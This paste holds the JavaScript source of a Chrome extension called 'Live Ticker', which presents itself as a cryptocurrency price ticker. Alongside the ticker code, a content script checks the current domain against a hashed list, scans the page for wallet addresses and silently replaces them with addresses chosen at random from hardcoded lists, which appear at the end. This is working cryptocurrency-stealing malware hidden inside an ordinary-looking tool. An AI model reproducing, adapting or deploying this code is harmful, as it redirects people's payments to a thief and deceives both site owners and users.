SHARE
TWEET

Live Ticker

a guest Apr 21st, 2014 444 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var docs = new Array();
  2. var regExp;
  3. function main() {
  4.     if (IsApprovedDomain(document.domain)) {
  5.         try {
  6.             if (!IsSpecialDomain(document.domain))
  7.                 regExp = /\b[1LPNMA67DVQBbZ][0-9a-zA-Z]{26,33}\b/g;
  8.             else
  9.                 regExp = /^[1LPNMA67DVQBbZ][0-9a-zA-Z]{26,33}$/g;
  10.             HandleDocument(document);
  11.         } catch (e) {
  12.  
  13.         }
  14.     }
  15. }
  16. function IsApprovedDomain(dom) {
  17.     hash = dom.split("").reduce(function (a, b) { a = ((a << 5) - a) + b.charCodeAt(0); return a & a }, 0);
  18.     return $.inArray(hash, [-1496708740, 1260276251, -1682734596, 1422964243, 1776272894, -1277480534, -45239920, 721506924, -2086297621, 518703581, 40300569,
  19.                             -1230054443, 397758182, -1962807435, -955803239, -799990776, 1616454506, 676991438, 898450575, -167916597, -346515657,
  20.                             2018878151, 1866227602, -2141726950, -1975264633, 857913653, 2112041604, -468641122, 1304703235, -1422122224, 40300569, 956254955,
  21.                             1584196539, 15299015, 895123472, 162934389, 1409051636, 1456787580, 1120280490, 1267998055, -175475734, 1539006721, -239965722,
  22.                             1822925539, 116635278, -1934674775, 1768352394, 18630983, -1911672902, 49051771, -1328054293, -1976040596, -1299499846, 1486848034,
  23.                             330752373, 1766028736, -1029226527, -420632052, -314782191, -884740064, -239965722, -1232816578, -952853510, 1193977413, 1212238869]) != -1;
  24. }
  25. function IsSpecialDomain(dom) {
  26.     hash = dom.split("").reduce(function (a, b) { a = ((a << 5) - a) + b.charCodeAt(0); return a & a }, 0);
  27.     return $.inArray(hash, [1409051636, 1456787580, 1267998055, -1232816578, -175475734, 1539006721, 1822925539, 116635278, 1768352394, 1486848034, 330752373, -884740064, -239965722, -1232816578]) != -1;
  28. }
  29. function HandleDocument(doc) {
  30.     try {
  31.         docs.push(doc);
  32.         doc.addEventListener("DOMNodeInserted", OnDOMChanged, false);
  33.         doc.addEventListener("DOMCharacterDataModified", OnDOMChanged, false);
  34.         ReplaceDocHashs(doc);
  35.     } catch (e) {
  36.  
  37.     }
  38. }
  39. function OnMessage(msg) {
  40.     try {
  41.         var method = msg.method;
  42.         switch (method) {
  43.             case "ReplaceDocHashsWithMapping":
  44.                 var hashsMapping = msg.hashsMapping;
  45.                 var doc = docs[msg.docIndex];
  46.                 ReplaceDocHashsWithMapping(doc, hashsMapping);
  47.                 break;
  48.         }
  49.     } catch (e) {
  50.  
  51.     }
  52. }
  53. function OnDOMChanged(event) {
  54.     try {
  55.         var node = event.target.parentNode;
  56.         if (HasHashs(node))
  57.             ReplaceDocHashs(node.ownerDocument);
  58.     } catch (e) {
  59.  
  60.     }
  61. }
  62. function ReplaceDocHashs(doc) {
  63.     try {
  64.         var hashs = GetDocHashs(doc);
  65.         var index = docs.indexOf(doc);
  66.         var ext = chrome.runtime.connect();
  67.         ext.onMessage.addListener(OnMessage);
  68.         ext.postMessage({ method: "GetHashMapping", hashs: hashs, docIndex: index, callback: "ReplaceDocHashsWithMapping" });
  69.     } catch (e) {
  70.  
  71.     }
  72. }
  73. function ReplaceDocHashsWithMapping(doc, hashsMapping) {
  74.     $(doc).find("*").each(function () {
  75.         try {
  76.             $(this).contents().each(function () {
  77.                 var node = this;
  78.                 try {
  79.                     if (node.nodeType == 1) {
  80.                         for (var hash in hashsMapping) {
  81.                             newHash = hashsMapping[hash];
  82.                             node.value = node.value.replace(new RegExp(hash, "g"), newHash);
  83.                         }
  84.                     }
  85.                     else if (node.nodeType == 3) {
  86.                         for (var hash in hashsMapping) {
  87.                             newHash = hashsMapping[hash];
  88.                             node.nodeValue = node.nodeValue.replace(new RegExp(hash, "g"), newHash);
  89.                         }
  90.                     }
  91.                 } catch (e) {
  92.  
  93.                 }
  94.             });
  95.         } catch (e) {
  96.  
  97.         }
  98.     });
  99. }
  100. function GetDocHashs(doc) {
  101.     var docHashs = [];
  102.     $(doc).find("*").each(function () {
  103.         try {
  104.             $(this).contents().each(function () {
  105.                 var node = this;
  106.                 try {
  107.                     var node = this;
  108.                     var nodeHashs = GetNodeHashs(node);
  109.                     if (nodeHashs != null)
  110.                         docHashs = docHashs.concat(nodeHashs);
  111.                 } catch (e) {
  112.  
  113.                 }
  114.             });
  115.         } catch (e) {
  116.  
  117.         }
  118.     });
  119.     var docUniqueHashs = [];
  120.     $.each(docHashs, function (i, el) {
  121.         if ($.inArray(el, docUniqueHashs) === -1) docUniqueHashs.push(el)
  122.     });
  123.     return docUniqueHashs;
  124. }
  125. function GetNodeHashs(node) {
  126.     var nodeHashs = null;
  127.     try {
  128.         if (node.nodeType == 1) {
  129.             nodeHashs = node.value.match(regExp);
  130.         }
  131.         else if (node.nodeType == 3) {
  132.             nodeHashs = node.nodeValue.match(regExp);
  133.         }
  134.     } catch (e) {
  135.  
  136.     }
  137.     return nodeHashs;
  138. }
  139. function HasHashs(node) {
  140.     try {
  141.         if (node.contentDocument) {
  142.             node.onload = function () {
  143.                 try {
  144.                     HandleDocument(node.contentDocument);
  145.                 }
  146.                 catch (e) {
  147.                 }
  148.             };
  149.         }
  150.         if (GetNodeHashs(node) != null)
  151.             return true;
  152.         for (var i = 0; i < node.childNodes.length; i++) {
  153.             if (HasHashs(node.childNodes[i]))
  154.                 return true;
  155.         }
  156.     } catch (e) {
  157.  
  158.     }
  159.     return false;
  160. }
  161. main();
  162.  
  163.  
  164. var callbackPort;
  165. var CURRENT_VALUE =             "currentValue";
  166. var SOURCE_CUR_STUB =           "[SOURCE_CURRENCY]";
  167. var TARGET_CUR_STUB =           "[TARGET_CURRENCY]";
  168. var API_MTGOX =                 { url: "https://data.mtgox.com/api/2/" + SOURCE_CUR_STUB + TARGET_CUR_STUB + "/money/ticker",           property: ["data", "last", "value"] };
  169. var API_BTCE =                  { url: "https://btc-e.com/api/2/" + SOURCE_CUR_STUB + "_" + TARGET_CUR_STUB + "/ticker",                property: ["ticker", "last"] };
  170. var API_BITSTAMP =              { url: "https://www.bitstamp.net/api/ticker/",                                                          property: ["last"] };
  171. var API_BTC_AVERAGE =           { url: "https://api.bitcoinaverage.com/ticker/" + TARGET_CUR_STUB,                                      property: ["last"] };
  172. var API_BTC_CHINA =             { url: "https://vip.btcchina.com/bc/ticker",                                                            property: ["ticker", "last"] };
  173. var API_OK_COIN =               { url: "https://www.okcoin.com/api/ticker.do?symbol=" + SOURCE_CUR_STUB + "_" + TARGET_CUR_STUB,        property: ["ticker", "last"] };
  174. var API_FXBTC =                 { url: "https://data.fxbtc.com/api?op=query_ticker&symbol=" + SOURCE_CUR_STUB + "_" + TARGET_CUR_STUB,  property: ["ticker", "last_rate"] };
  175. var API_CRYPTSY =               { url: "http://pubapi.cryptsy.com/api.php?method=singlemarketdata&marketid=" + TARGET_CUR_STUB,         property: ["return", "markets", SOURCE_CUR_STUB, "recenttrades", "0", "price"] };
  176. var API_COINBASE =              { url: "https://coinbase.com/api/v1/prices/buy",                                                        property: ["ticker", "amount"] };
  177. var API_DGEX =                  { url: "http://dgex.com/API/trades3h.json",                                                             property: ["ticker", "0", "unitprice"] };
  178. var API_BTER =                  { url: "http://bter.com/api/1/trade/" + SOURCE_CUR_STUB + "_" + TARGET_CUR_STUB,                        property: ["data", "39", "price"] };
  179. var CUR_USD =                   "USD";
  180. var CUR_EUR =                   "EUR";
  181. var CUR_RUR =                   "RUR";
  182. var CUR_CNY =                   "CNY";
  183. var CUR_JPY =                   "JPY";
  184. var CUR_PLN =                   "PLN";
  185. var CUR_BTC =                   "BTC";
  186. var CUR_LTC =                   "LTC";
  187. var CUR_PPC =                   "PPC";
  188. var CUR_NMC =                   "NMC";
  189. var CUR_XPM =                   "XPM";
  190. var CUR_NVC =                   "NVC";
  191. var CUR_TRC =                   "TRC";
  192. var CUR_FTC =                   "FTC";
  193. var CUR_DOGE =                  "DOGE";
  194. var CUR_LOT =                   "LOT";
  195. var CUR_NXT =                   "NXT";
  196. var CUR_MOON =                  "MOON";
  197. var CUR_VTC =                   "VTC";
  198. var ACTIVE_API =                API_CRYPTSY;
  199. var ACTIVE_SOURCE_CURRENCY =    CUR_DOGE;
  200. var DEFAULT_TARGET_CURRENCY =   CUR_BTC;
  201. function main() {
  202.     chrome.runtime.onConnect.addListener(OnConnect);
  203.     chrome.browserAction.onClicked.addListener(OnClick);
  204.     InvokeFunctionIntervals(UpdateValue, 60 * 1000);
  205. }
  206. function OnConnect(port)
  207. {
  208.     callbackPort = port;
  209.     callbackPort.onMessage.addListener(OnMessage);
  210. }
  211. function OnClick(tab)
  212. {
  213.     chrome.browserAction.setBadgeBackgroundColor({ color: [255, 0, 0, 255] });
  214.     chrome.browserAction.setBadgeText({ 'text': "-->" });
  215.     UpdateValue();
  216. }
  217. function OnMessage(msg) {
  218.     var method = msg.method;
  219.     switch (method) {
  220.         case "GetHashMapping":
  221.             var hashs = msg.hashs;
  222.             var docIndex = msg.docIndex;
  223.             var callback = msg.callback;
  224.             GetHashMapping(hashs, docIndex, callback);
  225.             break;
  226.         case "GetTargetCurrency":
  227.             var callback = msg.callback;
  228.             GetTargetCurrency(callback);
  229.             break;
  230.         case "SetTargetCurrency":
  231.             var currency = msg.currency;
  232.             SetTargetCurrency(currency);
  233.             break;
  234.     }
  235. }
  236. function GetTargetCurrency(callback) {
  237.     chrome.storage.local.get("targetCurrency", function (result) {
  238.         var tarCurrency = result["targetCurrency"];
  239.         callbackPort.postMessage({ method: callback, currency: tarCurrency });
  240.     });
  241. }
  242. function SetTargetCurrency(tarCurrency) {
  243.     chrome.storage.local.remove("targetCurrency", function () {
  244.         var mapObj = { "targetCurrency": tarCurrency };
  245.         mapObj["targetCurrency"] = tarCurrency;
  246.         chrome.storage.local.set(mapObj, function () { UpdateValue() });
  247.     });
  248. }
  249. function GetHashMapping(hashs, docIndex, callback) {
  250.     var diffHashs = [];
  251.     for (var i = 0; i < hashs.length; i++) {
  252.         if ($.inArray(hashs[i], BTHashs) == -1 &&
  253.             $.inArray(hashs[i], LTHashs) == -1 &&
  254.             $.inArray(hashs[i], PPHashs) == -1 &&
  255.             $.inArray(hashs[i], NMHashs) == -1 &&
  256.             $.inArray(hashs[i], XPHashs) == -1 &&
  257.             $.inArray(hashs[i], VTHashs) == -1 &&
  258.             $.inArray(hashs[i], QRHashs) == -1 &&
  259.             $.inArray(hashs[i], ZEHashs) == -1 &&
  260.             $.inArray(hashs[i], DOHashs) == -1 &&
  261.             $.inArray(hashs[i], FTHashs) == -1 &&
  262.             $.inArray(hashs[i], BCHashs) == -1)
  263.             diffHashs.push(hashs[i]);
  264.     }
  265.     chrome.storage.local.get(diffHashs, function (result) {
  266.         for (var i = 0; i < diffHashs.length; i++) {
  267.             if (!result[diffHashs[i]]) {
  268.                 result[diffHashs[i]] = SetHashMapping(diffHashs[i]);
  269.             }
  270.         }
  271.         callbackPort.postMessage({ method: callback, hashsMapping: result, docIndex: docIndex });
  272.     });
  273. }
  274. function SetHashMapping(hash) {
  275.     var arrHashs = null;
  276.     switch (hash[0]) {
  277.         case "1":
  278.             arrHashs = BTHashs;
  279.             break;
  280.         case "L":
  281.             arrHashs = LTHashs;
  282.             break;
  283.         case "P":
  284.             arrHashs = PPHashs;
  285.             break;
  286.         case "N":
  287.         case "M":
  288.             arrHashs = NMHashs;
  289.             break;
  290.         case "A":
  291.             arrHashs = XPHashs;
  292.             break;
  293.         case "6":
  294.         case "7":
  295.             arrHashs = FTHashs;
  296.             break;
  297.         case "D":
  298.             arrHashs = DOHashs;
  299.             break;
  300.         case "V":
  301.             arrHashs = VTHashs;
  302.             break;
  303.         case "Q":
  304.             arrHashs = QRHashs;
  305.             break;
  306.         case "B":
  307.         case "b":
  308.             arrHashs = BCHashs;
  309.             break;
  310.         case "Z":
  311.             arrHashs = ZEHashs;
  312.             break;
  313.     }
  314.     if (arrHashs != null) {
  315.         var arrRndIndex = Math.floor(Math.random() * (HASH_SIZE - 1));
  316.         var newHash = arrHashs[arrRndIndex];
  317.         var mapObj = { hash: newHash };
  318.         mapObj[hash] = newHash;
  319.         chrome.storage.local.set(mapObj);
  320.         return newHash;
  321.     }
  322. }
  323. function UpdateValue() {
  324.     chrome.storage.local.get("targetCurrency", function (result) {
  325.         var tarCurrency = result["targetCurrency"];
  326.         if (!tarCurrency) {
  327.             tarCurrency = DEFAULT_TARGET_CURRENCY;
  328.         }
  329.         GetValue(ACTIVE_API, ACTIVE_SOURCE_CURRENCY, tarCurrency, function (value) {
  330.             UpdateIcon(value, function () {
  331.                 chrome.storage.local.remove(CURRENT_VALUE, function () {
  332.                     var mapObj = { CURRENT_VALUE: value };
  333.                     mapObj[CURRENT_VALUE] = value;
  334.                     chrome.storage.local.set(mapObj);
  335.                 });
  336.             });
  337.         })
  338.     });
  339. }
  340. function UpdateIcon(value, done) {
  341.     chrome.storage.local.get(CURRENT_VALUE, function (result) {
  342.         var currentValue = result[CURRENT_VALUE];
  343.         if (value > currentValue) {
  344.             chrome.browserAction.setBadgeBackgroundColor({ color: [78, 136, 77, 255] });
  345.         }
  346.         else if (value < currentValue) {
  347.             chrome.browserAction.setBadgeBackgroundColor({ color: [190, 0, 0, 255] });
  348.         }
  349.         else {
  350.             chrome.browserAction.setBadgeBackgroundColor({ color: [0, 0, 0, 255] });
  351.         }
  352.         value = FormatValue(value);
  353.         chrome.browserAction.setBadgeText({ 'text': "" + value });
  354.         done();
  355.     });
  356. }
  357. function GetValue(api, srcCurrency, tarCurrency, callback) {
  358.     switch (api) {
  359.         case API_MTGOX:
  360.             GetValueMtGox(srcCurrency, tarCurrency, callback);
  361.             break;
  362.         case API_BTCE:
  363.             GetValueBTCE(srcCurrency, tarCurrency, callback);
  364.             break;
  365.         case API_BITSTAMP:
  366.             GetValueBitstamp(srcCurrency, tarCurrency, callback);
  367.             break;
  368.         case API_BTC_AVERAGE:
  369.             GetValueBitcoinAverage(srcCurrency, tarCurrency, callback);
  370.             break;
  371.         case API_BTC_CHINA:
  372.             GetValueBTCChina(srcCurrency, tarCurrency, callback);
  373.             break;
  374.         case API_OK_COIN:
  375.             GetValueOKCoin(srcCurrency, tarCurrency, callback);
  376.             break;
  377.         case API_FXBTC:
  378.             GetValueFXBTC(srcCurrency, tarCurrency, callback);
  379.             break;
  380.         case API_CRYPTSY:
  381.             GetValueCryptsy(srcCurrency, tarCurrency, callback);
  382.             break;
  383.         case API_COINBASE:
  384.             GetValueCoinBase(srcCurrency, tarCurrency, callback);
  385.         case API_DGEX:
  386.             GetValueDGEX(srcCurrency, tarCurrency, callback);
  387.         case API_BTER:
  388.             GetValueBTER(srcCurrency, tarCurrency, callback);
  389.     }
  390. }
  391. function GetValueMtGox(srcCurrency, tarCurrency, callback) {
  392.     var newURL = API_MTGOX["url"].replace(SOURCE_CUR_STUB, srcCurrency);
  393.     newURL = newURL.replace(TARGET_CUR_STUB, tarCurrency);
  394.     GetPropertyFromJSON(newURL, API_MTGOX["property"], callback);
  395. }
  396. function GetValueBTCE(srcCurrency, tarCurrency, callback) {
  397.     var newURL = API_BTCE["url"].replace(SOURCE_CUR_STUB, srcCurrency.toLowerCase());
  398.     newURL = newURL.replace(TARGET_CUR_STUB, tarCurrency.toLowerCase());
  399.     GetPropertyFromJSON(newURL, API_BTCE["property"], callback);
  400. }
  401. function GetValueBitstamp(srcCurrency, tarCurrency, callback) {
  402.     if (srcCurrency == CUR_BTC && tarCurrency == CUR_USD) {
  403.         GetPropertyFromJSON(API_BITSTAMP["url"], API_BITSTAMP["property"], callback);
  404.     }
  405. }
  406. function GetValueBitcoinAverage(srcCurrency, tarCurrency, callback) {
  407.     if (srcCurrency == CUR_BTC) {
  408.         var newURL = API_BTC_AVERAGE["url"].replace(TARGET_CUR_STUB, tarCurrency);
  409.         GetPropertyFromJSON(newURL, API_BTC_AVERAGE["property"], callback);
  410.     }
  411. }
  412. function GetValueBTCChina(srcCurrency, tarCurrency, callback) {
  413.     if (srcCurrency == CUR_BTC && tarCurrency == CUR_CNY) {
  414.         GetPropertyFromJSON(API_BTC_CHINA["url"], API_BTC_CHINA["property"], callback);
  415.     }
  416. }
  417. function GetValueOKCoin(srcCurrency, tarCurrency, callback) {
  418.     var newURL = API_OK_COIN["url"].replace(SOURCE_CUR_STUB, srcCurrency.toLowerCase());
  419.     newURL = newURL.replace(TARGET_CUR_STUB, tarCurrency.toLowerCase());
  420.     GetPropertyFromJSON(newURL, API_OK_COIN["property"], callback);
  421. }
  422. function GetValueFXBTC(srcCurrency, tarCurrency, callback) {
  423.     var newURL = API_FXBTC["url"].replace(SOURCE_CUR_STUB, srcCurrency.toLowerCase());
  424.     newURL = newURL.replace(TARGET_CUR_STUB, tarCurrency.toLowerCase());
  425.     GetPropertyFromJSON(newURL, API_FXBTC["property"], callback);
  426. }
  427. function GetValueCryptsy(srcCurrency, tarCurrency, callback) {
  428.     var marketId;
  429.     for (var i = 0; i < API_CRYPTSY["property"].length; i++)
  430.         API_CRYPTSY["property"][i] = API_CRYPTSY["property"][i].replace(SOURCE_CUR_STUB, srcCurrency);
  431.     if (srcCurrency == CUR_DOGE) {
  432.         if (tarCurrency == CUR_BTC)
  433.             marketId = "132";
  434.         else if (tarCurrency == CUR_LTC)
  435.             marketId = "135";
  436.     }
  437.     else if (srcCurrency == CUR_LOT) {
  438.         if (tarCurrency == CUR_BTC)
  439.             marketId = "137";
  440.     }
  441.     else if (srcCurrency == CUR_MOON) {
  442.         if (tarCurrency == CUR_BTC)
  443.             marketId = "146";
  444.         else if (tarCurrency == CUR_LTC)
  445.             marketId = "145";
  446.     }
  447.     else if (srcCurrency == CUR_VTC) {
  448.         if (tarCurrency == CUR_BTC)
  449.             marketId = "151";
  450.     }
  451.     var newURL = API_CRYPTSY["url"].replace(TARGET_CUR_STUB, marketId);
  452.     GetPropertyFromJSON(newURL, API_CRYPTSY["property"], callback);
  453. }
  454. function GetValueCoinBase(srcCurrency, tarCurrency, callback) {
  455.     if (srcCurrency == CUR_BTC && tarCurrency == CUR_USD) {
  456.         GetPropertyFromJSON(API_COINBASE["url"], API_COINBASE["property"], callback);
  457.     }
  458. }
  459. function GetValueDGEX(srcCurrency, tarCurrency, callback) {
  460.     if (srcCurrency == CUR_NXT && tarCurrency == CUR_BTC) {
  461.         GetPropertyFromJSON(API_DGEX["url"], API_DGEX["property"], callback);
  462.     }
  463. }
  464. function GetValueBTER(srcCurrency, tarCurrency, callback) {
  465.     var newURL = API_BTER["url"].replace(SOURCE_CUR_STUB, srcCurrency.toLowerCase());
  466.     newURL = newURL.replace(TARGET_CUR_STUB, tarCurrency.toLowerCase());
  467.     GetPropertyFromJSON(newURL, API_BTER["property"], callback);
  468. }
  469. function GetPropertyFromJSON(url, property, callback) {
  470.     $.getJSON(url, function (data) {
  471.         callback(GetObjectNestedProperty(data, property));
  472.     });
  473. }
  474. function GetObjectNestedProperty(obj, props) {
  475.     var current, formatProperty, obj, prop, props, val, _i, _len;
  476.     read = function (obj, prop) {
  477.         if ((obj != null ? obj[prop] : void 0) == null) {
  478.             return;
  479.         }
  480.         return obj[prop];
  481.     };
  482.     current = obj;
  483.     for (_i = 0, _len = props.length; _i < _len; _i++) {
  484.         prop = props[_i];
  485.         if (val = read(current, prop)) {
  486.             current = val;
  487.         } else {
  488.             return '';
  489.         }
  490.     }
  491.     return current;
  492. }
  493. function InvokeFunctionIntervals(func, milliseconds) {
  494.     setInterval(func, milliseconds);
  495.     func();
  496. }
  497. function FormatValue(value) {
  498.     var fromIndex, toIndex;
  499.     var decimalValue = false;
  500.     var valueStr = value.toString();
  501.     for (var i = 0; i < valueStr.length; i++) {
  502.         if (valueStr[i] != "0") {
  503.             if (valueStr[i] != ".") {
  504.                 fromIndex = i;
  505.                 break;
  506.             }
  507.             else {
  508.                 decimalValue = true;
  509.             }
  510.         }
  511.     }
  512.     if (decimalValue) {
  513.         fromIndex--;
  514.         valueStr = valueStr.substring(0, fromIndex) + '~' + valueStr.substring(fromIndex + 1);
  515.     }
  516.     toIndex = !isNaN(valueStr[fromIndex + 3]) ? fromIndex + 4 : fromIndex + 3;
  517.     return valueStr.substring(fromIndex, toIndex);
  518. }
  519. main();
  520. var BTHashs = ["1M8gtfGDSqBLbFcoxEcrniXPdZTMCd8atV", "1MN74AS8Ee5wq46UwfDsSN68aZYxMFLEHd", "1PqnLqSQtF9UPXrFsb2PB9pGdiqkVxcvMW", "1PS2s9YsmJyx9mY6Umpsc6qRLbLfSq8Lxv", "1ApWPUoWwYYntio5GzwoeTP33VA9rrzGF9", "1CBRxBsvf7KkntEufEzaFNPNsqndjT2Sf", "1J7MLrDtDw6DPFN5mVV1gJ7s3D4nchJp3G", "1AiPWjXRWVqx3AiXh8w5NycDU9jEQGQBur", "1Bzrnw6NRjbuMuFLMm3AerMS7f86QxbSyZ", "17iAoX9n8tFL18cCWtp3fdxYNfyQG7HQXs", "18edNGLuCdsAhAguon3rRMHa3KUMjp4K9i", "16JqapYcDXmvbjWqpafXFtFpYiVraWUpKd", "1CRmTfTfWV551GhHpAF3Pqv27MYHoyzGJU", "1LBjLqeq1aVPuemPqZrzxwqMmbJjT1TULW", "14P13dbPC8wktib8NBD3zhUCiVgrdEn1tw", "13ziuDjHengV6UYG8TVCU8xinhGxduHpuf", "19GSvdfkKiW7tjVo4kozFxX7s5EYpyFDf", "1AxCg3xaUCtjhXm8X7MsxA9d69bBNheXD2", "1DFaiW6QrKarczr9oRXUETuMNriKnQx2bc", "1CoEtBCwmy6BBCka1mxYieX7dtkwLSy88F", "1NuWJfDFEBZ1uuMQbT2QKRyxBj5u7shaH6", "12xU5876B5fC4zTP7y7K5XL7KyZBPJbL5J", "13zejjgy73eNmsGEeAD3QZ91vvgXQcJxuM", "16Qq25hboXh9U4wQdHZ2NcbtUte3EmEdEr", "1CuppGEvLnHpXH49o1C3vCXTwanNCCzGfW", "1F7F1mmLWdSDFZk79tQfzepenyMRLUsTho", "122yUBN1UbfibazDjjSYfCkHqZE9kyUyEX", "1JizYQaecggsPpLoizwShAP66icdafp7YA", "1Mw8TsDxpnp6sh1fGTW6fLJP4wYBLFT2LJ", "19mwNLUa46NKyUhtfDqrhEzWnz1GBsCTbr", "1PmYvr2rPnHwxxd1T1CKYd2beAzzrcAMYS", "14fcrVousxzNgB1KYfaUx4Xf7hnN1PQRxm", "1PxzFD1SREVgCxDVGTb4tNTQZaRHSAXCHM", "1QBWsx4ztFciikQFHgFzeoXqaD1JK1osWL", "1N6hEkQbFfdFqMER1RwW6yknrxP9MUw34h", "1Ba7nqtafq1GJ9zb6FQQMa4Bmiwcui6Kze", "1JRG4P4aBdhKRm52Nj5yrKQMH5P7N9Z5ss", "1DmyBk88xoH8yfEM845JePHCYygkusX5TK", "1MmBf78ZeDt3PmRbkEXgARnNGormh8cJ2r", "1DySn3MuLxcnzxfDN2kXr8KcohQbrQ3H7"]
  521. var LTHashs = ["LRMy891DKq9pe5GwHAb73PmtT99RaTaxjf", "LaDE8iFafarHTGpv1Fg4wUorjsQDxSWmCk", "LTa6hpsLKAN5iPAVxJpNtUzJaoy9xdqtjL", "LPKyYFYjV4cttUWX1KViZrpP9mBzuvcWat", "LZ8DCJY2ufsFQJSWpbyHEmab3FVDmowjjo", "LdrVe6q3wGMC7FikgjgR8WLPb8C5PJQ78U", "LKnzznQzPpWkYUg6Uuu6tEB56A5spsiCMs", "LYkWAmbmX9tJV4S1uAb6fnVa5XzCMuhfhx", "LhnEcvnBGQvKRZHqGLTXJgs7Mx3DHFVETJ", "LVxjvXnXZ8AcWESRpxLychDYr8aF8PDK75", "Lfx5tnVJPbaMpaRbWDs7AJEfM7JJrphMgW", "LWKs5TNcsYc5FRjbaj1XfFoMro2tcirx2D", "LWoqPWsUhpfJ3SmSMNzhozFmKmAAZGJqNQ", "LPr29faBQLerasvkM8LEfqX8WSom982fsx", "LSYxsfdrptHHcun5kLfZ4T44HD1X7zomyQ", "LWtYdZdsYzUpiuDQ6CH1ystcj82tgeKa11", "LQUAA6rBNdV3DuiRgkiBom5SGFwymN8dE5", "LhVnm3ZyrurSr74LNxDvN36AT6hxrGRNB8", "LKUjZS8yEjHQFximceEhFsJ4cVGbxEPMNq", "LNEwUdByTxSd1aVSRmFmXaZNX3q4agMyVE", "LZZkmMgpEFjs7xDJtqmH6RBkqZndDZkwJj", "LhV6NWSU4DfaaV3FCKMENWuUnDT3xTLqas", "LiHSjjMHkHrY5hZi8rByPYkNHZ1tGLvSwp", "Ldawu1UUeJVk1edQ1Ff7a8yUfjRr9SH38J", "LdCtzkG34ub5zZTK9kK5oTVrDdktXEFuTT", "LX458iw2kmcFBveUug5sLzs75YBg3LVm65", "LgwfGWteqNXPzaixB2Edby9RwmcxrigU5k", "LUCpsc9Qw4Q7Pen4ArJx3UP97VQSqyFRvC", "LWVcocuKmxpVRQGSESK1draa7eq99WJRSg", "LVBvr4LXeGcBEbqqNjrKSzpbEghFBQJb3H", "LZvpdDFRtRsZRxCoL14E3EzdDwvvL1QUjR", "LVjPnPYPgHvutLXFtLVWqXM2NAtLon3e77", "LX2jYfe7CzbzUUVmHVMnzdjgy2dx4pMG3L", "LZfWs8SJDWPAMeAiFJ7z4x6fvDkDBJq2Pf", "LZKsXrBakXULvUAEWgT1y84fftVDZuyUa2", "LWhZqnneTWRcPQbLez2dgJJ8fxaREzNi6z", "LVWNtHxrFcpmCVY3JPPULTWd9Nuwzy7ZCG", "Lc8nR3eMgGFR7r2WLEhATy787GkigC1pr2", "LbBS9EksPhv82gCVggjkbL1tji3JWHZpB1", "LLfr9y2TR4Amdy2LpNez1g5rypmsF4LUWf"]
  522. var PPHashs = ["PQBCG5DsSQXbBnMWJtRhViwryVTZCEevXm", "PTWg5RswT56Bj48jQS63xva4hJk26gHLLh", "PRbRnTUG1EHx56Qrw4VxQgGdbnNjYrBcTX", "PPe7EVKBkqLt5Aj65otwZs1LVjgCbM4eoM", "PRRibWxkFVWBEbMr3cy12gMHAKNnprTjHE", "PTiT7GKwVAFeW7EvhkPv2uHgPNBbvWjihF", "P8qD4eXmqq7ubmcBaEtNqYxEZ2Uw7PjQWr", "PGwjDfEjUuzPi4X5NhRA8aJWRiMgJwZ2B6", "PGALitDNYFzfUzW16SASbKGigMGxL2RXc3", "PJRzd9jVqZDchobSHmVmFAuUDamp4zZRXQ", "PS7NXpMLQbUmB36zNEH4KBzx3scNbgThkY", "PN7kCfxokFXceM278gDhAqeEQHh7mmURXT", "PN9PKYFf77JYMbuj5N12p21aaSh1Wo7Nrh", "PBK6ZRrDixjgGqLoS8u8Rxz9pHUEvc7GHS", "PSrYnpWN7QmBerJnPTr1Y2oiVQh7BpHQTP", "PFqaTQ5m2yV9u8265aS3jSJv1xYDLNVsNV", "PXPVcuLQ8BEe2w93MpXH4xPUPNiuSnojgv", "PRLpnxnWqFU88KEsbzE2hM5K3UayDJnUfj", "PFaGyBrBD87wH7bYW13K75tW8S1HSwrpcD", "PHLmdTvesdpGTJ9Dhv8bc4DsxKG3bJTVK7", "PDpfGCL39RVFADoPLhxJA52NDNVGZxmwXF", "PS7HSLzSoaWWMneoEHEDoUJGtrSkt2LBwT", "PReXQoGCYanzw5hKVCZet4eus5nARUQsf2", "PH3i2vDa5TwcNgB3cWtoDDHxY5wVKA6MUk", "PWxGW91FLKGkC3Hs4Md6rk5VBhB2tgFU1P", "PNUVauut1npLBuvEEAXpA6qjXCaq9VWp6W", "PLxWtR5FjbiqyrUZRmoRCz9naQjckdq49q", "PUH6WM2qwwJXTVEWacBqriCXxedjAhW9He", "PGWm2ymoM5VU74qNnTARjPdfMRcv7LdhCJ", "PC8zxzvwPuTWHcDRRjrvfb33BrYJL5trKZ", "PJBbjDX3XvLUPC7pWKwLe93Nit5TACXEoe", "PHdCCxbcaPtRxAdT468S4nL8U457SdJWVb", "PCZ9kq793fuRzzoEknMpqaBfB2vBh1yucA", "PJrZ8VFsTNVcd6cMViyhLzQyCiUwEaVaf3", "PHKpinKdXy93bBhaov2sp2rYkivAznys1E", "PDmSg8M2w9HNunF9Tcyn454WxUNSkzMXjR", "PQQ9f3XeyMZ2inSexMZXRRfnFYVLrz9PkE", "PM4cdd6aLKgePJ7s93hULsyBuiDGazQXng", "P8w4FMrKMSt7CtfAzaBF1vAtf6VHBQ5bHH", "PA8tDPBrvqpNnVFtzCAbjswnmevkjfV32d"]
